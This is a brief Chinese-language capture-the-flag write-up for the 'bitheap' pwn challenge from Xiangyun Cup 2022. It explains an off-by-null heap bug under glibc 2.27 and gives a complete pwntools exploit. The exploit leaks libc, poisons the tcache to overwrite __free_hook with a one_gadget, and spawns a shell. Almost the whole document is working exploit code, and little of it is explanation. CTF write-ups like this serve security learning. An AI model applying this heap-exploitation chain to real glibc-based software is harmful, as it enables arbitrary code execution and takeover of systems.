祥云杯2022 pwn - bitheap

祥云杯2022 pwn - bitheap

2.27下的off-by-one，其实也可以看成off-by-null

需要注意的是d60这个函数，经过调试之后可以得知传入的内容需要使用二进制来表示，所以就写了一个decode

def decode(x):
	return bin(x)[2:].rjust(64)[::-1]
1
2

接下来就是板子直接套 2.27的off-by-null

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './bitheap'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def decode(x):
 return bin(x)[2:].rjust(64)[::-1]

menu = 'Your choice: '

def add(index, size):
    r.sendlineafter(menu, '1')
    r.sendlineafter('Index: ', str(index))
    r.sendlineafter('Size: ', str(size))

def edit(index, content):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Index: ', str(index))
    r.sendafter('Content: ', content)

def show(index):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Index: ', str(index))

def delete(index):
    r.sendlineafter(menu, '4')
    r.sendlineafter('Index: ', str(index))

for i in range(7):
    add(i, 0xf8)    #0 - 6

add(7, 0xf8)
add(8, 0x88)
add(9, 0xf8)
add(10, 0x10)

for i in range(8):
    delete(i)

edit(8, '1' * 0x80 * 8 + decode(0x190) + '\x00')

delete(9)

for i in range(7):
    add(i, 0xf8)

add(7, 0xf8)

show(8)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('./2.27-3ubuntu1.6_amd64/libc-2.27.so')

libc_base = malloc_hook - libc.sym['__malloc_hook']
li('libc_base = ' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))

one = [0x4f2a5, 0x4f302, 0x10a2fc]
one_gadget = libc_base + one[1]

add(11, 0xf8)
delete(8)

edit(11, decode(free_hook))
add(8, 0xf8)
add(12, 0xf8)

edit(12, decode(one_gadget))
delete(0)

r.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91